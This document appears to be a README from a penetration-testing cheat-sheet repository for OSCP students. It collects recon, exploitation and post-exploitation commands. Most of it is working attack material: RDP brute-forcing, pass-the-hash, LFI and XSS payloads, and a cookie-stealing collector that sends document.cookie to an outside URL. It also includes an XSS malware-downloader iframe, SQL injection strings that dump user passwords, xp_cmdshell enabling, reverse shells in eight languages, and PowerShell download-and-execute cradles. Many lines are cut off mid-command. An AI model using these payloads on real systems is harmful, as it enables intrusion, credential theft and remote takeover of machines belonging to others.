This repo has a collection of snippets of codes and commands to help our lives! The main purpose is not be a crutch, this is a way to do not waste our precious time! This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit Framework.

Ninja Tricks

        - XSS
        - SQLi
            - sqlmap
            - Bare Hands
        - Jekins
- Post-exploitation
    - Reverse Shell
        - PHP Reverse Shell
        - Perl Reverse Shell
        - python Reverse Shell
        - Ruby Reverse Shell
        - bash Reverse Shell
        - powershell Reverse Sheel
        - Java Reverse Sheel
        - Xterm Reverse Sheel
    - Linux
        - Linux Privilege Escalation
        - Data Haversting and Enumeration
        - Linux Pivot
            - Sshutle
            - VPNPivot
            - SSH Tunneling
            - Linux Backdoring
    - Windows
        - Windows Enumeration
        - Windows Privilege Escalation
        - Hashdump
        - Transferring Files Without Metasploit
        - Backdoring
        - Windows Pivot
            - Openssh for Tunneling
            - Plink
- Resources
    - HTTP/HTTPS Servers
    - Wordlist
        - seclist

Recon

DNS

Nslookup

Resolve a given hostname to the corresponding IP.

```
nslookup targetorganization.com
```

Reverse DNS lookup

```
nslookup -type=PTR IP_address
```

MX(Mail Exchange) lookup

```
nslookup -type=MX domain
```

Zone Transfer

Using nslookup Command

```
nslookup
server domain.com
ls -d domain.com
```

Using HOST Command

host -t ns(Name Server) < domain >

```
host -t ns domain.com
```

after that test nameservers

host -l < domain > < nameserver >

```
host -l domain.com ns2.domain.com
```

Nmap Dns Enumaration

```
nmap -F --dns-server <dns server ip> <target ip range>
```

Auto tools

DNSenum

```
dnsenum targetdomain.com
```

```
dnsenum --target_domain_subs.txt -v -f dns.txt -u a -r targetdomain.com
```

DNSmap

```
targetdomain.com
```

```
dnsmap targetdomain.com -w <Wordlst file.txt>
```

Brute Force, the file is saved in /tmp

```
dnsmap targetdomain.com -r
```

DNSRecon DNS Brute Force

```
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
```

Fierce.pl

```
fierce -dns targetdomain.com
```

HostMap

```
hostmap.rb -only-passive -t <IP>
```

We can use -with-zonetransfer or -bruteforce-level

SPF Recon

Dig SPF txt

```
dig txt target.com
```

Dmarc

```
dig TXT _dmarc.example.org
```

Online Tools

- https://tinyurl.com/p39nrq8
- https://tinyurl.com/2ca73ca4
- https://tinyurl.com/26tsvewe
- https://tinyurl.com/y9qaskfr

Nmap

Set the ip address as a varible

```
export ip=192.168.1.100  export netw=192.168.1.0/24
```

Detecting Live Hosts

Only Ip's

```
nmap –sn –n $netw | grep for | cut –d" " –f5
```

Stealth Scan

```
nmap –sS $ip
```

Only Open Ports and Banner Grab

```
nmap –n –Pn –sS $ip ––open –sV
```

Stealth scan using FIN Scan

```
map –sF $ip
```

Agressive scan

Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports

```
nmap –n –Pn –sS –A $ip ––open –p–
```

Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, traceroute and scripts against services

```
nmap –v –sS –A –T4 $ip
```

OS FigerPrint

```
nmap –O $ip
```

Quick Scan

```
nmap –T4 –F $netw
```

Quick Scan Plus

```
nmap -sV -T4 -O -F --version-light $netw
```

output to a file

```
nmap -oN nameFile -p 1-65535 -sV -sS -A -T4 $ip
```

output to a file Plus

```
nmap -oA nameFile -p 1-65535 -sV -sS -A -T4 $netw
```

Search NMAP scripts

```
ls /usr/share/nmap/scripts/ | grep ftp
```

- Nmap Discovery

NetCat

Port Scanner

One port

```
nc -nvz 192.168.1.23 80
```

Port Range

```
nc -vnz 192.168.1.23 0-1000
```

Send files

- Server

```
nc -lvp 1234 > file_name_to_save
```

- Client

```
nc -vn 192.168.1.33 1234 < file_to_send
```

Executing remote script

- Server

```
nc -lvp 1234 -e ping.sh <IP>
```

- Client

```
nc -vn 192.168.1.33 1234
```

Chat with encryption

- Server

```
ncat -nlvp 8000 --ssl
```

- Client

```
ncat -nv 192.168.1.33 8000
```

Banner Grabbing

- Request

```
nc target port
HTTP_Verb path http/version
Host: url
```

- Response

```
nc www.bla.com.br 80
HEAD / HTTP/1.0
Host: www.bla.com.br
```

If this site uses https you need to use openssl

```
openssl s_client -quiet www.bla.com.br:443
```

SNMP

Fixing SNMP output

```
apt-get install snmp-mibs-downloader download-mibs
```

```
echo "" > /etc/snmp/snmp.conf
```

OneSixtyone

onesixtyone -c COMMUNITY_FILE -i Target_ip

```
onesixtyone -c community.txt -i Found_ips.txt
```

snmpwalk

Walking MIB's

snmpwalk -c COMMUNITY -v VERSION target_ip

```
snmpwalk -c public -v1 192.168.25.77
```

specific MIB node snmpwalk -c community -v version Target IP MIB Node Example: USER ACCOUNTS = 1.3.6.1.4.1.77.1.2.25

```
snmpwalk -c public -v1 192.168.25.77 1.3.6.1.4.1.77.1.2.25
```

snmp-check

snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY

```
snmp-check -t 172.20.10.5
```

```
snmp-check -t 172.20.10.5 -c public
```

Automate the username enumeration process for SNMPv3

```
apt-get install snmp snmp-mibs-downloader
```

```
wget https://tinyurl.com/2b4ksqhg
```

NMAP SNMPv3 Enumeration

```
nmap -sV -p 161 --script=snmp-info 172.20.10.0/24
```

Default Credentials

```
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
```

MYSQL

Try remote default Root access

Mysql Open to wild

```
mysql -h Target_ip -u root -p
```

MSSQL

MSQL Information Gathering

```
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql
```

Web Enumeration

Dirsearch

```
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old
```

```
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old -w path/to/wordlist
```

```
dirsearch -u https://tinyurl.com/m8pr7fz -e .
```

dirb

```
dirb https://tinyurl.com/c8pn5 /path/to/wordlist
```

```
dirb https://tinyurl.com/c8pn5 /path/to/wordlist -X .sh,.txt,.htm,.php,.cgi,.html
```

Gobuster

```
gobuster -u https://tinyurl.com/m8pr7fz -w /usr/share/wordlists/dirb/big.txt
```

Exploitation

System Network

RDP

xfreerdp

Simple User Enumeration for Windows Target (kerberos based)

xfreerdp /v:<target_ip> -sec-nla /u:""

```
xfreerdp /v:192.168.0.32 -sec-nla /u:""
```

login

xfreerdp /u: /g: /p: /v:<target_ip>

```
xfreerdp /u:administrator /g:grandbussiness /p:bla /v:192.168.1.34
```

Wordlist based bruteforce

NCRACK

ncrack -vv --user/-U <username/username_wordlist> --pass/-P <password/password_wordlist> <target_ip>:3389

```
ncrack -vv --user user -P wordlist.txt 192.168.0.32:3389
```

Crowbar

crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s <target_ip>/32 -v

```
crowbar -b rdp -u user -C password_wordlist -s 192.168.0.16/32 -v
```

Pass the hash

Smb pass the hash

Tool:

pth-toolkit

Listing shared folders

sudo pth-smbclient --user= --pw-nt-hash -m smb3 -L <target_ip> \\<target_ip>\

```
sudo pth-smbclient --user=user --pw-nt-hash -m smb3  -L 192.168.0.24 \\\\192.168.
```

Interactive smb shell

sudo pth-smbclient --user= --pw-nt-hash -m smb3 \\<target_ip>\shared_folder

```
sudo pth-smbclient --user=user --pw-nt-hash -m smb3 \\\\192.168.0.24\\folder ljah
```

Web Application

Web Remote code

LFI (Local File Inclusion)

Situation

```
http://<target>/index.php?parameter=value
```

How to Test

```
http://<target>/index.php?parameter=php://filter/convert.base64-encode/resource=i
```

```
http://<target>/script.php?page=../../../../../../../../etc/passwd
```

```
http://<target>/script.php?page=../../../../../../../../boot.ini
```

LFI Payloads

- Payload All the Things
- Seclist LFI Intruder

encode

XSS

Reflected

Simple test

This is a simple test to see what happens, this is not a prove that the field is vuln to xss

```
<plaintext>
```

Simple XSS test

```
<script>alert('Found')</script>
```

```
"><script>alert(Found)</script>">
```

```
<script>alert(String.fromCharCode(88,83,83))</script>
```

Bypass filter of tag script

```
" onload="alert(String.fromCharCode(88,83,83))
```

```
" onload="alert('XSS')
```

bla is not a valid image, so this cause an error

```
<img src='bla' onerror=alert("XSS")>
```

Persistent

```
>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visib
```

PHP collector

```
> cookie.txt  chmod 777 cookie.txt
```

edit a php page like colector.php as follow:

```
<?php
  $cookie=GET['cookie'];
  $useragent=$_SERVER['HTTP_USER_AGENT'];
  $file=fopen('cookie.txt', 'a');
  fwrite($file,"USER AGENT:$useragent || COOKIE=$cookie\n");
  fclose($file);
?>
```

Script to put in page:

```
<scritp>new Image().src="https://tinyurl.com/26p5b353"+document.cookie;</script>
```

Malware Donwloader via XSS

```
<iframe src="https://tinyurl.com/2dkgv9u3" height="0" width="0"></iframe>
```

How to play Mario with XSS

```
<iframe
  src="https://tinyurl.com/z8wdr6j"
  width="100%"
  height="600"
></iframe>
```

```
<input onfocus="document.body.innerHTML=atob('PGlmcmFtZSBzcmM9Imh0dHBzOi8vamN3ODc
```

XSS payloads

- Payload All The Things
- Seclist XSS

SQLI

Sql Injection

Sqlmap

GET

Error-Based

Simple test

```
Adding a simpe quote '
```

Example:

```
https://tinyurl.com/23g49n5u
```

List databases

```
./sqlmap.py -u https://tinyurl.com/288tcptb --dbs
```

List tables

```
./sqlmap.py -u https://tinyurl.com/288tcptb -D database_name --tables
```

List columns

```
./sqlmap.py -u https://tinyurl.com/288tcptb -D database_name -T table_name --colu
```

Dump all

```
./sqlmap.py -u https://tinyurl.com/288tcptb -D database_name -T table_name --dump
```

Set Cookie

```
./sqlmap.py -u https://tinyurl.com/2544qtmx --cookie "Cookie: OV1364928461=6kb5jv
```

Checking Privileges

```
./sqlmap.py -u https://tinyurl.com/288tcptb --privileges | grep FILE
```

Reading file

```
./sqlmap.py -u <URL> --file-read=<file to read>
```

```
./sqlmap.py -u https://tinyurl.com/288tcptb --file-read=/etc/passwd
```

Writing file

```
./sqlmap.py -u <url> --file-write=<file> --file-dest=<path>
```

```
./sqlmap.py -u https://tinyurl.com/288tcptb --file-write=shell.php --file-dest=/v
```

POST

```
./sqlmap.py -u <POST-URL> --data="<POST-paramters> "
```

```
./sqlmap.py -u https://tinyurl.com/23pzhdrj --data "uname=teste&passwd=&submit=Su
```

You can also use a file like with the post request:

```
./sqlmap.py -r post-request.txt -p uname
```

Bare Hands

GET

Error-Based

Simple test

```
Adding a simpe quote '
```

Example:

```
https://tinyurl.com/23g49n5u
```

Fuzzing

Sorting columns to find maximum column

```
https://tinyurl.com/22yw43tj order by 1
```

```
https://tinyurl.com/22yw43tj order by 2
```

```
https://tinyurl.com/22yw43tj order by 3
```

(until it stop returning errors)

Finding what column is injectable

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, 3
```

(using the same amount of columns you got on the previous step)

postgresql

```
https://tinyurl.com/22yw43tj union select NULL, NULL, NULL
```

(using the same amount of columns you got on the previous step)

one of the columns will be printed with the respective number

Finding version

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, version()
```

postgres

```
https://tinyurl.com/22yw43tj union select NULL, NULL, version()
```

Finding database name

mysql

```
https://tinyurl.com/22yw43tj union select 1,2, database()
```

postgres

```
https://tinyurl.com/22yw43tj union select NULL,NULL, database()
```

Finding usernames logged in

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, current_user()
```

Finding databases

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, schema_name from
information_schema.schemata
```

postgres

```
https://tinyurl.com/22yw43tj union select 1, 2, datname from pg_database
```

Finding table names from a database

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, table_name from information_schem
```

postgres

```
https://tinyurl.com/22yw43tj union select 1, 2, tablename from pg_tables where ta
```

Finding column names from a table

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, column_name from information_sche
```

postgres

```
https://tinyurl.com/22yw43tj union select 1, 2, column_name from information_sche
```

Concatenate

Example:

```
https://tinyurl.com/22yw43tj union select 1, 2, login from users;
https://tinyurl.com/22yw43tj union select 1, 2, password from users;
```

in one query

```
https://tinyurl.com/22yw43tj union select 1, 2, concat(login,':',password) from users; mysql https://tinyurl.com/22yw43tj union select 1, 2, login||':'||password from users; postgres
```

Error Based SQLI (USUALLY MS-SQL)

Current user

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096)))--
```

DBMS version

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--
```

Database name

```
https://tinyurl.com/22yw43tj or db_name(0)=0 --
```

Tables from a database

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U')--
```

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('previouslyFoundTable',...))--
```

Columns within a table

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--
```

> remember to change **dbname** and **tablename** accordingly with the given situation after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('previously found column name', ...))--
```

Actual data

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename)--
```

> after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--
```

Shell commands

```
EXEC master..xp_cmdshell <command>
```

> you need yo be 'sa' user

Enabling shell commands

```
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;
```

Jenkins

Post Exploitation

Reverse Shell

PHP Reverse Shell

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Tiny Reverse Shell

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.36.167/1337 0>&1'");
```

Perl Reverse Shell

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotoby
```

Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
```

Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
```

Bash Reverse Shell

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

Powershell Reverse Shell

Create a simple powershell script called reverse.ps1:

```
function reverse_powershell {
    $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream =
}
```

```
powershell -ExecutionPolicy bypass -command "Import-Module reverse.ps1; reverse_p
```

Java Reverse Shell

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
p.waitFor()
```

Xterm Reverse Shell

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
xterm -display 10.0.0.1:1
```

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

```
Xnest :1
```

You'll need to authorise the target to connect to you (command also run on your host):

```
xhost +targetip
```

Linux

Windows

Transferring Files Without Metasploit

Powershell

Download files with powershell

```
powershell -c "Invoke-WebRequest -uri 'http://Your-IP:Your-Port/winPEAS.bat' -Out
```

```
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-por
```

```
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shel
```

Creating a server with python3

```
python -m http.server
```

Creating a server with python2

```
python -m SimpleHTTPServer 80
```

FTP

You need to create a FTP server

- Server Linux Allow anonymous

```
python -m pyftpdlib -p 21 -u anonymous -P anonymous
```

- Windows Client

```
ftp
open target_ip port
open 192.168.1.22 21
```

we can simply run ftp -s:ftp_commands.txt and we can download a file with no user interaction.

like this:

```
C:\Users\kitsunesec\Desktop>echo open 10.9.122.8>ftp_commands.txt
C:\Users\kitsunesec\Desktop>echo anonymous>>ftp_commands.txt
C:\Users\kitsunesec\Desktop>echo whatever>>ftp_commands.txt
C:\Users\kitsunesec\Desktop>ftp -s:ftp_commands.txt
```

Apache Server

- server Put your files into /var/www/html

```
cp nc.exe /var/www/html
systemctl start apache2
```

- client

Get via web browser, wget or powershell...

Windows Pivoting

Openssh for Tunneling

Once you got SYSTEM on the target machine. download: openssh_for_windows

```
powershell -command "Expand-Archive 'C:\<path-to-zipped-openssh>\openssh.zip' c:\
```

Then install it:

```
powershell -ExecutionPolicy Bypass -File c:\<path-to-unzipped-openssh-folder>\ins
```

Now if you need, just adjust the firewall rules to your needs:

```
powershell -Command "New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server
```

Start the sshd service:

```
net start sshd
```

After these steps a regular ssh tunnel would sufice:

From your linux machine:

```
$ ssh -ACv -D <tunnel_port> <windows-user>@<windows-ip>
```

done you have now a socks to tunnel through!!

Resources

HTTP/HTTPS Servers

HTTPS using Python

Create the Certificate:

```
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```

Start the HTTPS Server

```
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRe
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_sid
httpd.serve_forever()
```

Wordlists

- Wordlists
  - PacketStorm
  - SecList
  - cotse
- Default Password
  - DefaultPassword
  - RouterPassword
- Leak
  - Pastebin
- Tables
  - RainbowCrack

Contribution

HOW TO